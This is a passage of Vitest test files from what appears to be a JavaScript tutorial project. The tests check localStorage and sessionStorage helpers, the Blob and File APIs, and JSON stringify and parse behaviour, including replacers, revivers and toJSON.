now } localStorage.setItem("data", JSON.stringify(data)) const parsed = JSON.parse(localStorage.getItem("data")) expect(typeof parsed.created).toBe("string") // Can be parsed back to Date const restoredDate = new Date(parsed.created) expect(restoredDate.getTime()).toBe(now.getTime()) }) it('should lose undefined values in objects', () => { const obj = { a: 1, b: undefined } const stringified = JSON.stringify(obj) expect(stringified).toBe('{"a":1}') expect(JSON.parse(stringified).b).toBeUndefined() }) it('should lose function properties', () => { const withFunction = { greet: () => "hello", name: "test" } const stringified = JSON.stringify(withFunction) expect(stringified).toBe('{"name":"test"}') }) it('should throw on circular references', () => { const circular = { name: "test" } circular.self = circular expect(() => JSON.stringify(circular)).toThrow(TypeError) }) }) }) describe('Storage Wrapper Utility', () => { // Tests for the storage wrapper from MDX lines ~340-375 const storage = { set(key, value) { try { localStorage.setItem(key, JSON.stringify(value)) return true } catch (error) { return false } }, get(key, defaultValue = null) { try { const item = localStorage.getItem(key) return item ? JSON.parse(item) : defaultValue } catch (error) { return defaultValue } }, remove(key) { localStorage.removeItem(key) }, clear() { localStorage.clear() } } it('should store objects without manual stringify', () => { storage.set("user", { name: "Alice", premium: true }) const user = storage.get("user") expect(user).toEqual({ name: "Alice", premium: true }) }) it('should return default value for missing keys', () => { const missing = storage.get("nonexistent", { guest: true }) expect(missing).toEqual({ guest: true }) }) it('should return null by default for missing keys', () => { const missing = storage.get("nonexistent") expect(missing).toBeNull() }) it('should handle remove and clear operations', () => { storage.set("a", 1) storage.set("b", 2) storage.remove("a") expect(storage.get("a")).toBeNull() expect(storage.get("b")).toBe(2) storage.clear() expect(storage.get("b")).toBeNull() }) it('should return default on invalid JSON', () => { localStorage.setItem("invalid", "not-json{") const result = storage.get("invalid", "fallback") expect(result).toBe("fallback") }) }) describe('Storage API Demo Function', () => { // Test for the complete demonstrateStorageAPI example (MDX lines ~240-270) it('should correctly demonstrate all storage operations', () => { // Clear previous data localStorage.clear() // Store some items localStorage.setItem("name", "Alice") localStorage.setItem("role", "Developer") localStorage.setItem("level", "Senior") expect(localStorage.length).toBe(3) expect(localStorage.getItem("name")).toBe("Alice") // Update an item localStorage.setItem("level", "Lead") expect(localStorage.getItem("level")).toBe("Lead") // Collect all items const items = {} for (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i) items[key] = localStorage.getItem(key) } expect(items.name).toBe("Alice") expect(items.role).toBe("Developer") expect(items.level).toBe("Lead") // Remove one item localStorage.removeItem("role") expect(localStorage.length).toBe(2) // Clear everything localStorage.clear() expect(localStorage.length).toBe(0) }) }) describe('Feature Detection', () => { // Tests for the storageAvailable function (MDX lines ~520-545) function storageAvailable(type) { try { const storage = window[type] const testKey = "__storage_test__" storage.setItem(testKey, testKey) storage.removeItem(testKey) return true } catch (error) { return false } } it('should return true when localStorage is available', () => { expect(storageAvailable("localStorage")).toBe(true) }) it('should return true when sessionStorage is available', () => { expect(storageAvailable("sessionStorage")).toBe(true) }) it('should return false for invalid storage type', () => { expect(storageAvailable("invalidStorage")).toBe(false) }) }) describe('Common Patterns', () => { describe('Theme/Dark Mode Preference', () => { // Tests for MDX lines ~640-665 function setTheme(theme) { return localStorage.setItem("theme", theme) } function loadTheme() { const savedTheme = localStorage.getItem("theme") return savedTheme || "light" } function toggleTheme() { const current = localStorage.getItem("theme") || "light" const newTheme = current === "light" ? "dark" : "light" localStorage.setItem("theme", newTheme) return newTheme } it('should save and load theme preference', () => { setTheme("dark") expect(loadTheme()).toBe("dark") setTheme("light") expect(loadTheme()).toBe("light") }) it('should default to light theme when none saved', () => { localStorage.clear() expect(loadTheme()).toBe("light") }) it('should toggle between light and dark', () => { localStorage.clear() expect(toggleTheme()).toBe("dark") expect(toggleTheme()).toBe("light") expect(toggleTheme()).toBe("dark") }) }) describe('Multi-Step Form Wizard', () => { // Tests for MDX lines ~670-695 function saveFormProgress(step, data) { const progress = JSON.parse(sessionStorage.getItem("formProgress") || "{}") progress[step] = data progress.currentStep = step sessionStorage.setItem("formProgress", JSON.stringify(progress)) } function loadFormProgress() { return JSON.parse(sessionStorage.getItem("formProgress") || "{}") } function clearFormProgress() { sessionStorage.removeItem("formProgress") } it('should save and load form progress', () => { saveFormProgress(1, { name: "Alice" }) saveFormProgress(2, { email: "alice@example.com" }) const progress = loadFormProgress() expect(progress.currentStep).toBe(2) expect(progress[1]).toEqual({ name: "Alice" }) expect(progress[2]).toEqual({ email: "alice@example.com" }) }) it('should clear form progress', () => { saveFormProgress(1, { name: "Test" }) clearFormProgress() expect(loadFormProgress()).toEqual({}) }) }) describe('Recently Viewed Items', () => { // Tests for MDX lines ~700-720 function addToRecentlyViewed(item, maxItems = 10) { const recent = JSON.parse(localStorage.getItem("recentlyViewed") || "[]") const filtered = recent.filter((i) => i.id !== item.id) filtered.unshift(item) const trimmed = filtered.slice(0, maxItems) localStorage.setItem("recentlyViewed", JSON.stringify(trimmed)) } function getRecentlyViewed() { return JSON.parse(localStorage.getItem("recentlyViewed") || "[]") } it('should add items to recently viewed', () => { addToRecentlyViewed({ id: 1, name: "Item 1" }) addToRecentlyViewed({ id: 2, name: "Item 2" }) const recent = getRecentlyViewed() expect(recent.length).toBe(2) expect(recent[0].id).toBe(2) // Most recent first expect(recent[1].id).toBe(1) }) it('should move duplicate items to front', () => { addToRecentlyViewed({ id: 1, name: "Item 1" }) addToRecentlyViewed({ id: 2, name: "Item 2" }) addToRecentlyViewed({ id: 1, name: "Item 1 Updated" }) const recent = getRecentlyViewed() expect(recent.length).toBe(2) expect(recent[0].id).toBe(1) expect(recent[0].name).toBe("Item 1 Updated") }) it('should limit to maxItems', () => { for (let i = 1; i <= 15; i++) { addToRecentlyViewed({ id: i, name: `Item ${i}` }, 10) } const recent = getRecentlyViewed() expect(recent.length).toBe(10) expect(recent[0].id).toBe(15) // Most recent expect(recent[9].id).toBe(6) // Oldest kept }) it('should return empty array when nothing stored', () => { localStorage.clear() expect(getRecentlyViewed()).toEqual([]) }) }) }) describe('Common Mistakes', () => { describe('Null handling from getItem', () => { // Tests for MDX lines ~735-745 it('should demonstrate the null handling issue', () => { // Dangerous pattern const settings = JSON.parse(localStorage.getItem("settings")) expect(settings).toBeNull() expect(() => settings.theme).toThrow(TypeError) }) it('should safely handle missing values with default', () => { const settings = JSON.parse(localStorage.getItem("settings")) || {} const theme = settings.theme || "light" expect(theme).toBe("light") }) }) describe('Default value pattern', () => { it('should provide default for getItem with OR operator', () => { const theme = localStorage.getItem("theme") || "light" expect(theme).toBe("light") }) it('should not use default when value exists', () => { localStorage.setItem("theme", "dark") const theme = localStorage.getItem("theme") || "light" expect(theme).toBe("dark") }) }) }) describe('Edge Cases', () => { it('should handle empty string keys', () => { localStorage.setItem("", "empty key") expect(localStorage.getItem("")).toBe("empty key") }) it('should handle empty string values', () => { localStorage.setItem("key", "") expect(localStorage.getItem("key")).toBe("") expect(localStorage.getItem("key")).not.toBeNull() }) it('should handle special characters in keys', () => { localStorage.setItem("key with spaces", "value") localStorage.setItem("key.with.dots", "value") localStorage.setItem("key-with-dashes", "value") expect(localStorage.getItem("key with spaces")).toBe("value") expect(localStorage.getItem("key.with.dots")).toBe("value") expect(localStorage.getItem("key-with-dashes")).toBe("value") }) it('should handle unicode in keys and values', () => { localStorage.setItem("emoji", "Hello") localStorage.setItem("greeting", "Hello World") expect(localStorage.getItem("emoji")).toBe("Hello") expect(localStorage.getItem("greeting")).toBe("Hello World") }) it('should handle very long strings', () => { const longString = "x".repeat(1000000) // 1MB string localStorage.setItem("long", longString) expect(localStorage.getItem("long")).toBe(longString) expect(localStorage.getItem("long").length).toBe(1000000) }) it('should distinguish between null stored as string and actual null', () => { localStorage.setItem("nullString", "null") expect(localStorage.getItem("nullString")).toBe("null") expect(localStorage.getItem("nonexistent")).toBeNull() }) it('should handle removing non-existent keys without error', () => { expect(() => { localStorage.removeItem("does-not-exist") }).not.toThrow() }) it('should handle clearing already empty storage', () => { localStorage.clear() expect(() => { localStorage.clear() }).not.toThrow() expect(localStorage.length).toBe(0) }) }) describe('Iteration Patterns', () => { it('should iterate using for loop with key()', () => { localStorage.setItem("a", "1") localStorage.setItem("b", "2") localStorage.setItem("c", "3") const items = {} for (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i) items[key] = localStorage.getItem(key) } expect(items).toEqual({ a: "1", b: "2", c: "3" }) }) it('should iterate using Object.keys', () => { localStorage.setItem("x", "10") localStorage.setItem("y", "20") const keys = Object.keys(localStorage) expect(keys).toContain("x") expect(keys).toContain("y") }) }) describe('Test Your Knowledge Examples', () => { describe('Question 2: JSON.stringify necessity', () => { it('should demonstrate data loss without stringify', () => { localStorage.setItem("user", { name: "Alice" }) expect(localStorage.getItem("user")).toBe("[object Object]") }) it('should preserve data with stringify', () => { localStorage.setItem("user", JSON.stringify({ name: "Alice" })) const stored = localStorage.getItem("user") expect(stored).toBe('{"name":"Alice"}') const parsed = JSON.parse(stored) expect(parsed.name).toBe("Alice") }) }) describe('Question 6: Feature detection', () => { it('should detect localStorage availability', () => { function storageAvailable(type) { try { const storage = window[type] const testKey = "__test__" storage.setItem(testKey, testKey) storage.removeItem(testKey) return true } catch (e) { return false } } // In jsdom, localStorage is available expect(storageAvailable("localStorage")).toBe(true) }) }) }) }) describe('SafeSetItem with QuotaExceededError handling', () => { // Tests for MDX lines ~490-515 function safeSetItem(key, value) { try { localStorage.setItem(key, value) return true } catch (error) { if (error.name === "QuotaExceededError") { return false } throw error } } beforeEach(() => { localStorage.clear() }) it('should return true on successful storage', () => { const result = safeSetItem("test", "value") expect(result).toBe(true) expect(localStorage.getItem("test")).toBe("value") }) // Note: It's difficult to test QuotaExceededError in jsdom // as it typically doesn't enforce storage limits it('should handle normal operations', () => { safeSetItem("a", "1") safeSetItem("b", "2") expect(localStorage.getItem("a")).toBe("1") expect(localStorage.getItem("b")).toBe("2") }) }) ================================================ FILE: tests/beyond/data-handling/blob-file-api/blob-file-api.dom.test.js ================================================ /** * @vitest-environment jsdom */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' describe('Blob & File API - DOM', () => { let container beforeEach(() => { container = document.createElement('div') container.id = 'test-container' document.body.appendChild(container) }) afterEach(() => { document.body.innerHTML = '' vi.restoreAllMocks() if (global.URL.revokeObjectURL.mockRestore) { global.URL.revokeObjectURL.mockRestore() } }) describe('URL.createObjectURL and revokeObjectURL', () => { it('should create object URL from Blob', () => { const blob = new Blob(['Hello'], { type: 'text/plain' }) const url = URL.createObjectURL(blob) expect(url).toMatch(/^blob:/) URL.revokeObjectURL(url) }) it('should create object URL from File', () => { const file = new File(['content'], 'test.txt', { type: 'text/plain' }) const url = URL.createObjectURL(file) expect(url).toMatch(/^blob:/) URL.revokeObjectURL(url) }) }) describe('Download functionality pattern', () => { it('should create downloadable link with Blob', () => { const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) const url = URL.createObjectURL(blob) const link = document.createElement('a') link.href = url link.download = 'greeting.txt' expect(link.href).toMatch(/^blob:/) expect(link.download).toBe('greeting.txt') URL.revokeObjectURL(url) }) it('should support download attribute on anchor', () => { const link = document.createElement('a') link.download = 'test-file.json' expect(link.download).toBe('test-file.json') }) }) describe('File Input handling', () => { it('should create file input element', () => { const input = document.createElement('input') input.type = 'file' container.appendChild(input) expect(input.type).toBe('file') expect(input.files.length).toBe(0) }) it('should support multiple file selection attribute', () => { const input = document.createElement('input') input.type = 'file' input.multiple = true expect(input.multiple).toBe(true) }) it('should support accept attribute for file types', () => { const input = document.createElement('input') input.type = 'file' input.accept = 'image/*,.pdf' expect(input.accept).toBe('image/*,.pdf') }) }) describe('FileReader in DOM context', () => { it('should read Blob as text using FileReader', async () => { const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) const result = await new Promise((resolve, reject) => { const reader = new FileReader() reader.onload = () => resolve(reader.result) reader.onerror = () => reject(reader.error) reader.readAsText(blob) }) expect(result).toBe('Hello, World!') }) it('should read File as data URL', async () => { const file = new File(['test content'], 'test.txt', { type: 'text/plain' }) const result = await new Promise((resolve, reject) => { const reader = new FileReader() reader.onload = () => resolve(reader.result) reader.onerror = () => reject(reader.error) reader.readAsDataURL(file) }) expect(result).toMatch(/^data:text\/plain;base64,/) }) it('should read Blob as ArrayBuffer', async () => { const blob = new Blob([new Uint8Array([1, 2, 3, 4])]) const result = await new Promise((resolve, reject) => { const reader = new FileReader() reader.onload = () => resolve(reader.result) reader.onerror = () => reject(reader.error) reader.readAsArrayBuffer(blob) }) expect(result).toBeInstanceOf(ArrayBuffer) expect(result.byteLength).toBe(4) }) it('should have correct readyState values', async () => { const blob = new Blob(['test']) const reader = new FileReader() expect(reader.readyState).toBe(0) const promise = new Promise((resolve) => { reader.onloadstart = () => { expect(reader.readyState).toBe(1) } reader.onload = () => { expect(reader.readyState).toBe(2) resolve() } }) reader.readAsText(blob) await promise }) }) describe('Drag and drop events', () => { it('should fire dragover event on element', () => { const dropZone = document.createElement('div') container.appendChild(dropZone) let dragOverFired = false dropZone.addEventListener('dragover', () => { dragOverFired = true }) const event = new Event('dragover', { bubbles: true }) dropZone.dispatchEvent(event) expect(dragOverFired).toBe(true) }) it('should fire drop event on element', () => { const dropZone = document.createElement('div') container.appendChild(dropZone) let dropFired = false dropZone.addEventListener('drop', () => { dropFired = true }) const event = new Event('drop', { bubbles: true }) dropZone.dispatchEvent(event) expect(dropFired).toBe(true) }) }) describe('FormData with files', () => { it('should append File to FormData', () => { const formData = new FormData() const file = new File(['content'], 'upload.txt', { type: 'text/plain' }) formData.append('file', file) expect(formData.has('file')).toBe(true) expect(formData.get('file')).toBe(file) }) it('should append Blob to FormData with filename', () => { const formData = new FormData() const blob = new Blob(['content'], { type: 'text/plain' }) formData.append('file', blob, 'custom-name.txt') const retrieved = formData.get('file') expect(retrieved.name).toBe('custom-name.txt') }) it('should append multiple files with same key', () => { const formData = new FormData() formData.append('files', new File(['a'], 'file1.txt')) formData.append('files', new File(['b'], 'file2.txt')) const files = formData.getAll('files') expect(files.length).toBe(2) }) }) describe('Image preview pattern', () => { it('should set image src from blob URL', () => { const blob = new Blob(['fake image data'], { type: 'image/png' }) const url = URL.createObjectURL(blob) const img = document.createElement('img') img.src = url container.appendChild(img) expect(img.src).toBe(url) URL.revokeObjectURL(url) }) }) describe('Memory management', () => { it('should call revokeObjectURL without error', () => { const blob = new Blob(['test']) const url = URL.createObjectURL(blob) expect(() => URL.revokeObjectURL(url)).not.toThrow() }) it('should handle revoking non-existent URL', () => { expect(() => URL.revokeObjectURL('blob:fake-url')).not.toThrow() }) }) }) ================================================ FILE: tests/beyond/data-handling/blob-file-api/blob-file-api.test.js ================================================ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' describe('Blob & File API', () => { // ============================================================ // WHAT IS A BLOB IN JAVASCRIPT? // From blob-file-api.mdx lines 32-42 // ============================================================ describe('What is a Blob', () => { // From lines 32-40: Creating Blobs from different data types it('should create a Blob from a string', () => { const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' }) expect(textBlob.size).toBe(13) expect(textBlob.type).toBe('text/plain') }) it('should create Blobs with different MIME types', () => { const jsonBlob = new Blob([JSON.stringify({ name: 'Alice' })], { type: 'application/json' }) const htmlBlob = new Blob(['<h1>Title</h1>'], { type: 'text/html' }) expect(jsonBlob.type).toBe('application/json') expect(htmlBlob.type).toBe('text/html') }) }) // ============================================================ // CREATING BLOBS // From blob-file-api.mdx lines 72-110 // ============================================================ describe('Creating Blobs', () => { describe('Basic Blob Creation', () => { // From lines 77-96: Basic Blob creation examples it('should create Blob from a single string', () => { const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' }) expect(textBlob.size).toBe(13) expect(textBlob.type).toBe('text/plain') }) it('should concatenate multiple strings in Blob', async () => { const multiBlob = new Blob(['Hello, ', 'World!'], { type: 'text/plain' }) expect(multiBlob.size).toBe(13) const text = await multiBlob.text() expect(text).toBe('Hello, World!') }) it('should create Blob from JSON data', async () => { const user = { name: 'Alice', age: 30 } const jsonBlob = new Blob( [JSON.stringify(user, null, 2)], { type: 'application/json' } ) expect(jsonBlob.type).toBe('application/json') const text = await jsonBlob.text() expect(JSON.parse(text)).toEqual(user) }) it('should create Blob from HTML', async () => { const htmlBlob = new Blob( ['<!DOCTYPE html><html><body><h1>Hello</h1></body></html>'], { type: 'text/html' } ) expect(htmlBlob.type).toBe('text/html') const text = await htmlBlob.text() expect(text).toContain('<h1>Hello</h1>') }) }) describe('From Typed Arrays and ArrayBuffers', () => { // From lines 100-120: Binary data Blob creation it('should create Blob from Uint8Array', async () => { const bytes = new Uint8Array([72, 101, 108, 108, 111]) // "Hello" in ASCII const binaryBlob = new Blob([bytes], { type: 'application/octet-stream' }) expect(binaryBlob.size).toBe(5) const text = await binaryBlob.text() expect(text).toBe('Hello') }) it('should create Blob from ArrayBuffer', () => { const buffer = new ArrayBuffer(8) const view = new DataView(buffer) view.setFloat64(0, Math.PI) const bufferBlob = new Blob([buffer]) expect(bufferBlob.size).toBe(8) }) it('should combine different data types in a Blob', async () => { const bytes = new Uint8Array([72, 101, 108, 108, 111]) // "Hello" const mixedBlob = new Blob([ 'Header: ', bytes, '\nFooter' ], { type: 'text/plain' }) const text = await mixedBlob.text() expect(text).toBe('Header: Hello\nFooter') }) }) describe('Blob Properties', () => { // From lines 122-132: Blob properties it('should have size and type properties', () => { const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) expect(blob.size).toBe(13) expect(blob.type).toBe('text/plain') }) it('should have empty type if not specified', () => { const blob = new Blob(['data']) expect(blob.type).toBe('') }) }) }) // ============================================================ // THE FILE INTERFACE // From blob-file-api.mdx lines 135-200 // ============================================================ describe('The File Interface', () => { // From lines 175-190: Creating File objects programmatically it('should create File from content array', () => { const file = new File( ['Hello, World!'], 'greeting.txt', { type: 'text/plain', lastModified: Date.now() } ) expect(file.name).toBe('greeting.txt') expect(file.size).toBe(13) expect(file.type).toBe('text/plain') }) it('should have File inherit from Blob', () => { const file = new File(['content'], 'test.txt', { type: 'text/plain' }) expect(file instanceof Blob).toBe(true) }) it('should have lastModified property', () => { const now = Date.now() const file = new File(['content'], 'test.txt', { lastModified: now }) expect(file.lastModified).toBe(now) }) it('should allow reading File as text (inherited from Blob)', async () => { const file = new File(['Hello from File'], 'test.txt', { type: 'text/plain' }) const text = await file.text() expect(text).toBe('Hello from File') }) }) // ============================================================ // MODERN BLOB METHODS // From blob-file-api.mdx lines 290-315 // ============================================================ describe('Modern Blob Methods', () => { // From lines 294-302: Promise-based methods it('should read as text with blob.text()', async () => { const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) const text = await blob.text() expect(text).toBe('Hello, World!') }) it('should read as ArrayBuffer with blob.arrayBuffer()', async () => { const blob = new Blob(['Hello'], { type: 'text/plain' }) const buffer = await blob.arrayBuffer() const bytes = new Uint8Array(buffer) expect(bytes[0]).toBe(72) // 'H' expect(bytes[1]).toBe(101) // 'e' expect(bytes[2]).toBe(108) // 'l' expect(bytes[3]).toBe(108) // 'l' expect(bytes[4]).toBe(111) // 'o' }) it('should provide readable stream with blob.stream()', async () => { const blob = new Blob(['Hello'], { type: 'text/plain' }) const stream = blob.stream() const reader = stream.getReader() const { done, value } = await reader.read() expect(done).toBe(false) expect(value).toBeInstanceOf(Uint8Array) expect(value[0]).toBe(72) // 'H' }) }) // ============================================================ // SLICING BLOBS // From blob-file-api.mdx lines 430-465 // ============================================================ describe('Slicing Blobs', () => { // From lines 432-448: slice() method examples it('should slice first five bytes', async () => { const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) const firstFive = blob.slice(0, 5) const text = await firstFive.text() expect(text).toBe('Hello') }) it('should slice using negative index', async () => { const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) const lastSix = blob.slice(-6) const text = await lastSix.text() expect(text).toBe('World!') }) it('should slice middle portion', async () => { const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) const middle = blob.slice(7, 12) const text = await middle.text() expect(text).toBe('World') }) it('should allow changing MIME type when slicing', () => { const blob = new Blob(['Hello'], { type: 'text/plain' }) const withNewType = blob.slice(0, 5, 'text/html') expect(withNewType.type).toBe('text/html') }) it('should not modify original blob when slicing', async () => { const original = new Blob(['Hello, World!'], { type: 'text/plain' }) const originalSize = original.size original.slice(0, 5) expect(original.size).toBe(originalSize) expect(await original.text()).toBe('Hello, World!') }) }) // ============================================================ // CONVERTING BETWEEN FORMATS // From blob-file-api.mdx lines 520-570 // ============================================================ describe('Converting Between Formats', () => { describe('Blob to ArrayBuffer and Back', () => { // From lines 560-565: Blob to ArrayBuffer conversion it('should convert Blob to ArrayBuffer', async () => { const blob = new Blob(['Hello']) const buffer = await blob.arrayBuffer() expect(buffer).toBeInstanceOf(ArrayBuffer) expect(buffer.byteLength).toBe(5) }) it('should convert ArrayBuffer back to Blob', async () => { const original = new Blob(['Hello']) const buffer = await original.arrayBuffer() const newBlob = new Blob([buffer]) expect(newBlob.size).toBe(5) expect(await newBlob.text()).toBe('Hello') }) }) }) // ============================================================ // ERROR HANDLING AND EDGE CASES // From blob-file-api.mdx (Common Mistakes section) // ============================================================ describe('Edge Cases', () => { it('should handle empty Blob', async () => { const emptyBlob = new Blob([]) expect(emptyBlob.size).toBe(0) expect(await emptyBlob.text()).toBe('') }) it('should handle Blob with empty string', async () => { const blob = new Blob(['']) expect(blob.size).toBe(0) expect(await blob.text()).toBe('') }) it('should handle Blob with whitespace', async () => { const blob = new Blob([' ']) expect(blob.size).toBe(3) expect(await blob.text()).toBe(' ') }) it('should handle multiple empty parts', async () => { const blob = new Blob(['', '', '']) expect(blob.size).toBe(0) expect(await blob.text()).toBe('') }) it('should handle Unicode content', async () => { const blob = new Blob(['Hello, World! 🌍'], { type: 'text/plain' }) const text = await blob.text() expect(text).toBe('Hello, World! 🌍') }) it('should handle Chinese characters', async () => { const blob = new Blob(['你好世界'], { type: 'text/plain' }) const text = await blob.text() expect(text).toBe('你好世界') }) }) // ============================================================ // COMBINING BLOBS // ============================================================ describe('Combining Blobs', () => { it('should combine multiple Blobs into one', async () => { const blob1 = new Blob(['Hello, ']) const blob2 = new Blob(['World!']) const combined = new Blob([blob1, blob2]) expect(await combined.text()).toBe('Hello, World!') }) it('should combine Blob with string', async () => { const blob = new Blob(['Hello']) const combined = new Blob([blob, ', ', 'World!']) expect(await combined.text()).toBe('Hello, World!') }) it('should combine Blob with Uint8Array', async () => { const blob = new Blob(['Hello']) const bytes = new Uint8Array([33]) // '!' const combined = new Blob([blob, bytes]) expect(await combined.text()).toBe('Hello!') }) }) // ============================================================ // FILE SPECIFIC TESTS // ============================================================ describe('File-specific behavior', () => { it('should have default lastModified if not specified', () => { const before = Date.now() const file = new File(['content'], 'test.txt') const after = Date.now() expect(file.lastModified).toBeGreaterThanOrEqual(before) expect(file.lastModified).toBeLessThanOrEqual(after) }) it('should preserve filename with special characters', () => { const file = new File(['content'], 'my file (1).txt') expect(file.name).toBe('my file (1).txt') }) it('should handle filename with extension correctly', () => { const file = new File(['content'], 'document.pdf', { type: 'application/pdf' }) expect(file.name).toBe('document.pdf') expect(file.type).toBe('application/pdf') }) }) }) ================================================ FILE: tests/beyond/data-handling/json-deep-dive/json-deep-dive.test.js ================================================ import { describe, it, expect } from 'vitest' describe('JSON Deep Dive', () => { // ============================================================ // BASIC SERIALIZATION // From json-deep-dive.mdx lines 30-45 // ============================================================ describe('Basic JSON Operations', () => { // From lines 30-40: Parse and stringify basics it('should parse JSON string to JavaScript object', () => { const jsonString = '{"name":"Alice","age":30,"isAdmin":true}' const user = JSON.parse(jsonString) expect(user.name).toBe('Alice') expect(user.age).toBe(30) expect(user.isAdmin).toBe(true) }) it('should stringify JavaScript object to JSON string', () => { const user = { name: 'Alice', age: 30, isAdmin: true } const json = JSON.stringify(user) expect(json).toBe('{"name":"Alice","age":30,"isAdmin":true}') }) // From lines 100-110: Basic stringify examples it('should stringify various value types', () => { expect(JSON.stringify({ a: 1, b: 2 })).toBe('{"a":1,"b":2}') expect(JSON.stringify([1, 2, 3])).toBe('[1,2,3]') expect(JSON.stringify('hello')).toBe('"hello"') expect(JSON.stringify(42)).toBe('42') expect(JSON.stringify(true)).toBe('true') expect(JSON.stringify(null)).toBe('null') }) }) // ============================================================ // WHAT GETS LOST IN SERIALIZATION // From json-deep-dive.mdx lines 115-140 // ============================================================ describe('Values Lost During Serialization', () => { // From lines 115-130: Values that don't survive stringify it('should omit functions, undefined, and symbols from objects', () => { const obj = { name: 'Alice', greet: function () { return 'Hi!' }, age: undefined, id: Symbol('id'), nothing: null } const result = JSON.parse(JSON.stringify(obj)) expect(result.name).toBe('Alice') expect(result.greet).toBeUndefined() expect(result.age).toBeUndefined() expect(result.id).toBeUndefined() expect(result.nothing).toBeNull() }) it('should convert NaN and Infinity to null', () => { const obj = { nan: NaN, infinity: Infinity, negInfinity: -Infinity } const result = JSON.parse(JSON.stringify(obj)) expect(result.nan).toBeNull() expect(result.infinity).toBeNull() expect(result.negInfinity).toBeNull() }) // From lines 135-140: Arrays handle these differently it('should convert undefined, functions, and symbols to null in arrays', () => { const arr = [1, undefined, function () {}, Symbol('x'), 2] const result = JSON.parse(JSON.stringify(arr)) expect(result).toEqual([1, null, null, null, 2]) }) }) // ============================================================ // REPLACER PARAMETER // From json-deep-dive.mdx lines 150-220 // ============================================================ describe('Replacer Parameter', () => { // From lines 155-175: Replacer as function it('should filter out properties using replacer function', () => { const data = { name: 'Alice', password: 'secret123', email: 'alice@example.com', age: 30 } const safeJSON = JSON.stringify(data, (key, value) => { if (key === 'password') return undefined if (key === 'email') return '***hidden***' return value }) const result = JSON.parse(safeJSON) expect(result.name).toBe('Alice') expect(result.password).toBeUndefined() expect(result.email).toBe('***hidden***') expect(result.age).toBe(30) }) // From lines 180-195: Initial call with empty key it('should call replacer with empty key for root object', () => { const calls = [] JSON.stringify({ a: 1 }, (key, value) => { calls.push({ key, isObject: typeof value === 'object' }) return value }) expect(calls[0]).toEqual({ key: '', isObject: true }) expect(calls[1]).toEqual({ key: 'a', isObject: false }) }) // From lines 200-210: Replacer as array it('should include only specified properties when replacer is array', () => { const user = { id: 1, name: 'Alice', email: 'alice@example.com', password: 'secret', role: 'admin', createdAt: '2024-01-01' } const json = JSON.stringify(user, ['id', 'name', 'email']) expect(json).toBe('{"id":1,"name":"Alice","email":"alice@example.com"}') }) }) // ============================================================ // SPACE PARAMETER // From json-deep-dive.mdx lines 225-265 // ============================================================ describe('Space Parameter', () => { // From lines 230-250: Different space options it('should format JSON with numeric space parameter', () => { const data = { name: 'Alice', age: 30 } const formatted = JSON.stringify(data, null, 2) expect(formatted).toBe('{\n "name": "Alice",\n "age": 30\n}') }) it('should format JSON with string space parameter', () => { const data = { a: 1, b: 2 } const formatted = JSON.stringify(data, null, '\t') expect(formatted).toContain('\t"a"') expect(formatted).toContain('\t"b"') }) it('should clamp space number to 10', () => { const data = { x: 1 } const with15 = JSON.stringify(data, null, 15) const with10 = JSON.stringify(data, null, 10) // Both should have same indentation (clamped to 10) expect(with15).toBe(with10) }) }) // ============================================================ // JSON.PARSE BASICS // From json-deep-dive.mdx lines 275-310 // ============================================================ describe('JSON.parse() Basics', () => { // From lines 280-290: Basic parsing it('should parse various JSON value types', () => { expect(JSON.parse('{"name":"Alice","age":30}')).toEqual({ name: 'Alice', age: 30 }) expect(JSON.parse('[1, 2, 3]')).toEqual([1, 2, 3]) expect(JSON.parse('"hello"')).toBe('hello') expect(JSON.parse('42')).toBe(42) expect(JSON.parse('true')).toBe(true) expect(JSON.parse('null')).toBeNull() }) // From lines 295-310: Invalid JSON throws it('should throw SyntaxError for invalid JSON', () => { // Missing quotes around keys expect(() => JSON.parse('{name: "Alice"}')).toThrow(SyntaxError) // Single quotes expect(() => JSON.parse("{'name': 'Alice'}")).toThrow(SyntaxError) // Trailing comma expect(() => JSON.parse('{"a": 1,}')).toThrow(SyntaxError) }) }) // ============================================================ // REVIVER PARAMETER // From json-deep-dive.mdx lines 320-390 // ============================================================ describe('Reviver Parameter', () => { // From lines 330-355: Reviving dates it('should revive date strings to Date objects', () => { const json = '{"name":"Alice","createdAt":"2024-01-15T10:30:00.000Z"}' const obj = JSON.parse(json, (key, value) => { if (typeof value === 'string' && /^\d{4}-\d{2}-\d{2}T/.test(value)) { return new Date(value) } return value }) expect(obj.name).toBe('Alice') expect(obj.createdAt instanceof Date).toBe(true) expect(obj.createdAt.toISOString()).toBe('2024-01-15T10:30:00.000Z') }) // From lines 360-375: Processing order it('should process values from innermost to outermost', () => { const order = [] JSON.parse('{"a":{"b":1},"c":2}', (key, value) => { order.push(key) return value }) // Innermost first, then containing object, siblings, root last expect(order).toEqual(['b', 'a', 'c', '']) }) // From lines 380-390: Filtering during parse it('should delete properties by returning undefined', () => { const json = '{"name":"Alice","__internal":true,"id":1}' const cleaned = JSON.parse(json, (key, value) => { if (key.startsWith('__')) return undefined return value }) expect(cleaned).toEqual({ name: 'Alice', id: 1 }) expect(cleaned.__internal).toBeUndefined() }) }) // ============================================================ // CUSTOM toJSON() METHODS // From json-deep-dive.mdx lines 400-460 // ============================================================ describe('Custom toJSON() Methods', () => { // From lines 405-420: Basic toJSON it('should use toJSON() method for serialization', () => { const user = { name: 'Alice', password: 'secret123', toJSON() { return { name: this.name } } } const json = JSON.stringify(user) expect(json).toBe('{"name":"Alice"}') }) // From lines 425-440: Built-in Date toJSON it('should serialize Date using its toJSON method', () => { const date = new Date('2024-01-15T10:30:00.000Z') const json = JSON.stringify(date) expect(json).toBe('"2024-01-15T10:30:00.000Z"') }) // From lines 445-460: toJSON in classes it('should use toJSON in class instances', () => { class User { constructor(name, email, password) { this.name = name this.email = email this.password = password this.createdAt = new Date('2024-01-15T10:30:00.000Z') } toJSON() { return { name: this.name, email: this.email, createdAt: 